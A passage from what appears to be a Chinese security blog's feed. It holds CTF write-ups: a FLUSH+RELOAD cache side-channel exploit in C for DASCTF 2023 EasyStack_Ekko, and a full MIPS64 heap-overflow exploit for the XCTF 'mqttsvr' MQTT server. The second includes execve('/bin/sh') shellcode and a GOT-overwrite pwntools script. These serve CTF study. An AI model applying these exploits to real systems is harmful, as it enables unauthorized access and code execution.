<span class="string">&quot;%esi&quot;</span>, <span class="string">&quot;%edx&quot;</span></span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">return</span> time;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><h3 id="DASCTF-2023年6月-二进制专项赛-EasyStack-Ekko"><a href="#DASCTF-2023年6月-二进制专项赛-EasyStack-Ekko" class="headerlink" title="DASCTF 2023年6月 二进制专项赛 EasyStack_Ekko"></a>DASCTF 2023年6月 二进制专项赛 EasyStack_Ekko</h3><p>前面拿到ssh的过程比较ez就不说了</p><p>分析靶机环境，root用户正在运行server，且我们作为普通用户没有server文件的访问权限。考虑使用侧信道攻击。</p><p>分析libfacenet.so，发现getEmojis()函数返回了共享库内部的.rodata段上的指针。显然这个内存页是会被多个加载了libfacenet的进程共享的。</p><p>分析server</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">strcpy</span>(v7, <span class="string">&quot;dasctf&#123;xxx_xxxxxxx_xx_xxxx_xxxxx&#125;&quot;</span>);</span><br><span class="line">Emojis = getEmojis(a1, a2);</span><br><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i ) &#123;</span><br><span class="line">    <span class="keyword">for</span> ( j = <span class="number">1</span>; j &lt;= <span class="number">100</span>; ++j ) &#123;</span><br><span class="line">      v5 = Emojis[<span class="number">1000</span> * (i % <span class="number">34</span>) + <span class="number">32</span> * (v7[i % <span class="number">34</span>] - <span class="string">&#x27;_&#x27;</span>)];</span><br><span class="line">      setlocale(<span class="number">6</span>, <span class="string">&quot;en_US.utf8&quot;</span>);</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;-------&gt; %lc \n&quot;</span>, v5);</span><br><span class="line">    &#125;</span><br><span class="line">    usleep(<span class="number">10u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>server会根据flag读取Emojis不同位置的数据，并且不同位flag对应的数据之间相隔较远。每次读取之间都有usleep(10)，提高了我们侧信道攻击的精确度。我们根据flush+reload写一个exp</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;wchar.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">extern</span> <span class="type">wchar_t</span>* <span class="title function_">getEmojis</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">probe</span><span class="params">(<span class="type">void</span>* addr)</span> &#123;</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">unsigned</span> <span class="type">long</span> time;</span><br><span class="line">    <span class="keyword">asm</span> __volatile__ (</span><br><span class="line">        <span class="string">&quot; mfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; rdtsc \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; movl %%eax, %%esi  \n&quot;</span></span><br><span class="line">        <span class="string">&quot; movl (%1), %%eax   \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence             \n&quot;</span></span><br><span class="line">        <span class="string">&quot; rdtsc \n&quot;</span></span><br><span class="line">        <span class="string">&quot; subl %%esi, %%eax  \n&quot;</span></span><br><span class="line">        <span class="string">&quot; clflush 0(%1)      \n&quot;</span></span><br><span class="line">        : <span class="string">&quot;=a&quot;</span> (time)</span><br><span class="line">        : <span class="string">&quot;c&quot;</span> (addr)</span><br><span class="line">        :  <span class="string">&quot;%esi&quot;</span>, <span class="string">&quot;%edx&quot;</span></span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">return</span> time ;</span><br><span class="line"> &#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">test_outL3_time</span><span class="params">(<span class="type">void</span>* addr)</span> &#123;</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">unsigned</span> <span class="type">long</span> time;</span><br><span class="line">    <span class="keyword">asm</span> __volatile__ (</span><br><span class="line">        <span class="string">&quot; mfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence             \n&quot;</span></span><br><span class="line">        <span class="string">&quot; clflush 0(%0)      \n&quot;</span></span><br><span class="line">        : </span><br><span class="line">        : <span class="string">&quot;c&quot;</span> (addr)</span><br><span class="line">        :  </span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">asm</span> __volatile__ (</span><br><span class="line">        <span class="string">&quot; mfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; rdtsc \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence \n&quot;</span></span><br><span class="line">        <span class="string">&quot; movl %%eax, %%esi  \n&quot;</span></span><br><span class="line">        <span class="string">&quot; movl (%1), %%eax   \n&quot;</span></span><br><span class="line">        <span class="string">&quot; lfence             \n&quot;</span></span><br><span class="line">        <span class="string">&quot; rdtsc \n&quot;</span></span><br><span class="line">        <span class="string">&quot; subl %%esi, %%eax  \n&quot;</span></span><br><span class="line">        <span class="string">&quot; clflush 0(%1)      \n&quot;</span></span><br><span class="line">        : <span class="string">&quot;=a&quot;</span> (time)</span><br><span class="line">        : <span class="string">&quot;c&quot;</span> (addr)</span><br><span class="line">        :  <span class="string">&quot;%esi&quot;</span>, <span class="string">&quot;%edx&quot;</span></span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">return</span> time ;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> outL3_time;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span>  inL3_time;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> average_cache_time;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">TestCache</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">wchar_t</span> *emo=getEmojis();</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">1</span>;i&lt;=<span class="number">1000</span>;i++)&#123;</span><br><span class="line">        outL3_time+=test_outL3_time(emo);</span><br><span class="line">        <span class="type">wchar_t</span> x=emo[<span class="number">160</span>]; <span class="comment">//读取后emo+160应该在L3缓存中</span></span><br><span class="line">        inL3_time+=probe((emo+<span class="number">160</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    outL3_time/=<span class="number">1000</span>;</span><br><span class="line">    inL3_time/=<span class="number">1000</span>;</span><br><span class="line">    average_cache_time=(inL3_time+outL3_time)/<span class="number">2</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    TestCache();</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;outL3_time=%ld\ninL3_time=%ld\naverage_cache_time=%ld\n&quot;</span>,outL3_time,inL3_time,average_cache_time);</span><br><span class="line"></span><br><span class="line">    <span class="type">wchar_t</span> *emo=getEmojis();</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> flag[<span class="number">40</span>][<span class="number">40</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">7</span>;i&lt;=<span class="number">31</span>;i++)&#123;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;=<span class="number">30</span>;j++)&#123;</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> t=<span class="number">0</span>;t&lt;<span class="number">5000</span>;t++)&#123;     </span><br><span class="line">                <span class="type">unsigned</span> <span class="type">long</span> cache_time=probe(emo+i*<span class="number">1000</span>+j*<span class="number">32</span>);</span><br><span class="line">                <span class="keyword">if</span>(cache_time&lt;average_cache_time)&#123;</span><br><span class="line">                    <span class="built_in">printf</span>(<span class="string">&quot;%d-%c----&gt;%lu\n&quot;</span>,i,j+<span class="string">&#x27;_&#x27;</span>,cache_time);</span><br><span class="line">                    flag[i][j]++;</span><br><span class="line">                &#125;</span><br><span class="line">                usleep(<span class="number">100</span>); <span class="comment">//等待server再次访问目标数据</span></span><br><span class="line">            &#125;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;--------# %d %c over\n&quot;</span>,i,j+<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;--------&gt; %d over\n&quot;</span>,i);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\n===================\n&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">7</span>;i&lt;=<span class="number">31</span>;i++)&#123;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;=<span class="number">30</span>;j++)&#123;</span><br><span class="line">                <span class="keyword">if</span>(flag[i][j]&gt;=<span class="number">2</span>)<span class="built_in">printf</span>(<span class="string">&quot;%c&quot;</span>,j+<span class="string">&#x27;_&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;\nDASCTF&#123;&quot;</span>);</span><br><span class="line">    <span class="keyword">for</span>(<span class="type">int</span> i=<span class="number">7</span>;i&lt;=<span class="number">31</span>;i++)&#123;</span><br><span class="line">        <span class="type">int</span> max_count=<span class="number">0</span>;</span><br><span class="line">        <span class="type">char</span> c=<span class="string">&#x27;#&#x27;</span>;</span><br><span class="line">        <span class="keyword">for</span>(<span class="type">int</span> j=<span class="number">0</span>;j&lt;=<span class="number">30</span>;j++)&#123;</span><br><span class="line">            <span class="keyword">if</span>(flag[i][j]&gt;max_count)&#123;</span><br><span class="line">            max_count=flag[i][j];</span><br><span class="line">                c=j+<span class="string">&#x27;_&#x27;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">putchar</span>(c);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;&#125;&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果有位置没有探测到，换用测试次数更多的代码针对位置重新探测即可。最后得到flag </p><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>这个攻击的思路比较显而易见，但是具体利用手法方面我也有没搞懂的地方（比如DASCTF那题的官方exp），若有疏漏欢迎指出</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://eprint.iacr.org/2013/448.pdf">FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack</a></p><p>DASCTF官方wp</p>]]></content>
    
    
    <summary type="html">这个内存读起来它真的快吗？如快！</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="side-channel attack" scheme="https://zqy.ink/tags/side-channel-attack/"/>
    
  </entry>
  
  <entry>
    <title>饶派杯XCTF车联网安全挑战赛 pwn mqttsvr 赛题复现</title>
    <link href="https://zqy.ink/2023/05/31/mqttsvr/"/>
    <id>https://zqy.ink/2023/05/31/mqttsvr/</id>
    <published>2023-05-31T18:25:36.000Z</published>
    <updated>2025-11-14T08:20:36.943Z</updated>
    
    <content type="html"><![CDATA[<h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><p>题目所给的二进制文件为mips64架构，大端序，需要准备好qemu。</p><p>似乎因为内存的关系pwndbg会报错，不知道别的插件怎么样。可以选择自己在原生gdb上写个小脚本，我这里选择ida attach过去（ida调试效率比较低下，需要注意）。</p><p>因为mqtt协议客户端都是通过网络发送，而题目文件是通过stdin，stdout接收和发送消息，所以中间需要一个小脚本用来转发</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line">context.arch=<span class="string">&#x27;mips64&#x27;</span></span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">server.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>,<span class="number">6666</span>))</span><br><span class="line">server.listen(<span class="number">5</span>)</span><br><span class="line">p=process([<span class="string">&#x27;qemu-mips64&#x27;</span>,<span class="string">&#x27;-g&#x27;</span>,<span class="string">&#x27;1234&#x27;</span>,<span class="string">&#x27;-L&#x27;</span>,<span class="string">&#x27;./&#x27;</span>,<span class="string">&#x27;./server&#x27;</span>])</span><br><span class="line">sess,addr=server.accept()</span><br><span class="line">recvlist=[]</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    r=sess.recv(<span class="number">1024</span>)</span><br><span class="line">    recvlist.append(r)</span><br><span class="line">    p.send(r)</span><br><span class="line">    sleep(<span class="number">0.01</span>)</span><br><span class="line">    content=p.recv(<span class="number">1024</span>,timeout=<span class="number">0.2</span>)</span><br><span class="line">    sess.send(content)</span><br><span class="line"><span class="keyword">except</span> EOFError:</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="comment">#得到发送的bytestring，方便编写exp</span></span><br><span class="line"><span class="built_in">print</span>(recvlist)</span><br><span class="line"><span class="comment">#重放，方便调试</span></span><br><span class="line">p=process([<span class="string">&#x27;qemu-mips64&#x27;</span>,<span class="string">&#x27;-g&#x27;</span>,<span class="string">&#x27;12345&#x27;</span>,<span class="string">&#x27;-L&#x27;</span>,<span class="string">&#x27;./&#x27;</span>,<span class="string">&#x27;./server&#x27;</span>])</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> recvlist:</span><br><span class="line">p.send(i)</span><br><span class="line">p.recv()</span><br></pre></td></tr></table></figure><p>ida无法对mips64架构生成伪代码，可以使用ghidra生成伪代码，会提升逆向效率</p><p>服务端魔改了一点协议，需要找个合适的mqtt客户端进行更改。python的会方便一些，我这里随便找了一个.net xamarin的mqtt实现。</p><h2 id="文件分析"><a href="#文件分析" class="headerlink" title="文件分析"></a>文件分析</h2><p>小逆一手，最外层是一个while循环判断结束条件，不断调用内部函数，内部函数进行读取、长度的处理，然后进行解析。解析有一个很大的jumptable，很明显。在ghidra中将程序基址设为0可以生成swtich case的伪代码。</p><p>与mqtt协议对应看一下，jumptable对应的是不同类型报文的处理。先看Connect，显然被改动过。通过分析0x3200这个函数（这里ghidra的decompiler莫名其妙会似，可以直接ida调试，通过框图的每个branch判断报文是否正确）可以得到connect_flag开始的3个字节分别为0xc2 0x43 0x21。接下来会对clientid进行长度和内容的判断。由于是明文，很好逆出id为Car_MQTT_Client（这里的id不符合协议规范，可能也需要改一下客户端实现），Username则是异或0x3a后与存储的常量进行比较。Password的处理函数0x49f0中存在md5常数，动调发现确实是md5算法，但比较是通过strncmp函数进行比较，并且程序中进行比较的md5常量的第三个字节是00。所以我们只需要固定md5的前三个字节，进行爆破即可。这里我得到的密码是<code>176f00jns{</code>。由此，我们得到了Connect的报文格式和认证信息。</p><p>进一步分析发现subscribe和unsubscribe对应的是堆块的申请与释放。在subscribe中，存在堆溢出漏洞。</p><p><img src="/1.png"></p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>由于没有地址随机化，我们不需要泄露地址。uClibc的堆管理器几乎没有安全检查，对于小堆块的处理类似于glibc的fastbin，堆块间通过链表连接。我们很自然地想到通过堆溢出覆盖链表指针地址，实现堆块的任意地址分配，从而实现任意地址写。</p><p>我们可以先在堆上布置好&#x2F;bin&#x2F;sh字符串，shellcode等gadget，然后通过覆盖got表调用shellcode，完成利用。</p><h2 id="exp编写"><a href="#exp编写" class="headerlink" title="exp编写"></a>exp编写</h2><p>由于一些库并不支持将raw bytes作为报文内容，因此对于一些报文需要手动调整内容。不过对于大多数报文来说可以直接保存客户端发送的内容，为exp编写节省时间。</p><p>在覆盖got表时，如果直接覆盖比较大的大小比如0x120，在malloc时就会出现段错误，这令我非常困惑，也不太清楚原因。所以我将gadget都放在了堆上。</p><p>shellcode没找到好用的，自己写了个（&#x2F;bin&#x2F;sh字符串地址已知）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">lui $v0,0x4000</span><br><span class="line">dsll $v0,$v0,8</span><br><span class="line">lui $v1,0x311</span><br><span class="line">dsrl $v1,$v1,8</span><br><span class="line">daddu $v0,$v1</span><br><span class="line">daddiu $v0,$v0,0x20</span><br><span class="line">move $a0,$v0</span><br><span class="line">move $a1,$zero</span><br><span class="line">move $a2,$zero</span><br><span class="line">li $v0, 5057</span><br><span class="line">syscall</span><br></pre></td></tr></table></figure><p>最终exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.arch=<span class="string">&#x27;mips64&#x27;</span></span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">recvlist=[<span class="string">b&#x27;\x10:\x00\x04MQTT\x04\xc2C!\x00\x0fCar_MQTT_Client\x00\x11Car_Administrator\x00\n176f00jns&#123;&#x27;</span>, <span class="comment">#connect</span></span><br><span class="line"><span class="comment">#paddings for mallocing continuous chunks</span></span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x01\x00 01000000000000010000000012000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x02\x00 010000000000000400000000120000f0\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x03\x00 010000000000000100000000120000w0\x02&#x27;</span>, </span><br><span class="line">    <span class="comment">#/bin/sh string</span></span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x04\x00 /bin/sh\x0000a0000400000000120000f0\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x05\x00 0100000000b0000100000000120000w0\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x06\x00 01000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x07\x00 02000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x08\x00 03000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="comment">#victims</span></span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\t\x00 04000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\n\x00 05000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x0b\x00 06000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="comment">#paddings</span></span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x0c\x00 07000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\r\x00 08000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x0e\x00 09000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="comment">#free 6,5,4</span></span><br><span class="line">    <span class="string">b&#x27;\xa2$\x00\x0f\x00 06000000000000000000000000000000&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\xa2$\x00\x10\x00 05000000000000000000000000000000&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\xa2$\x00\x11\x00 04000000000000000000000000000000&#x27;</span>, </span><br><span class="line">    <span class="comment">#shellcode</span></span><br><span class="line">    <span class="string">b&quot;\x82\x4d\x00\x12\x00\x48\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x3c\x02\x40\x00\x00\x02\x12\x38\x3c\x03\x03\x11\x00\x03\x1a\x3a\x00\x43\x10\x2d\x64\x42\x00\x20\x00\x40\x20\x25\x00\x00\x28\x25\x00\x00\x30\x25\x24\x02\x13\xc1\x00\x00\x00\x0c\x02&quot;</span>, </span><br><span class="line">    <span class="comment">#heap overflow</span></span><br><span class="line">    <span class="string">b&#x27;\x82\xa5\x02\x00\x13\x01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00@\x00\x01r(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02&#x27;</span>, </span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x14\x00 07000000000000000000000000000000\x02&#x27;</span>, </span><br><span class="line">    <span class="comment">#malloc to got[free_ptr] and change it to shellcode addr</span></span><br><span class="line">    <span class="string">b&#x27;\x82%\x00\x15\x00 \x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x00\x00\x00@\x00\x03\x13@\x02&#x27;</span>, </span><br><span class="line">    <span class="comment">#free to call shellcode</span></span><br><span class="line">    <span class="string">b&#x27;\xa2$\x00\x16\x00 01000000000000000000000000000000&#x27;</span>]</span><br><span class="line"></span><br><span class="line">p=process([<span class="string">&#x27;qemu-mips64&#x27;</span>,<span class="string">&#x27;-L&#x27;</span>,<span class="string">&#x27;./&#x27;</span>,<span class="string">&#x27;./server&#x27;</span>])</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> recvlist:</span><br><span class="line">p.send(i)</span><br><span class="line">p.recv(timeout=<span class="number">1</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">xdm，和mips64爆了吧</summary>
    
    
    
    <category term="writeup" scheme="https://zqy.ink/categories/writeup/"/>
    
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="ctf" scheme="https://zqy.ink/tags/ctf/"/>
    
    <category term="heap" scheme="https://zqy.ink/tags/heap/"/>
    
    <category term="mips64" scheme="https://zqy.ink/tags/mips64/"/>
    
    <category term="uClibc" scheme="https://zqy.ink/tags/uClibc/"/>
    
    <category term="mqtt" scheme="https://zqy.ink/tags/mqtt/"/>
    
  </entry>
  
  <entry>
    <title>cpp与面向对象编程</title>
    <link href="https://zqy.ink/2023/05/24/oop_in_cpp/"/>
    <id>https://zqy.ink/2023/05/24/oop_in_cpp/</id>
    <published>2023-05-24T08:14:44.000Z</published>
    <updated>2025-11-14T08:20:36.883Z</updated>
    
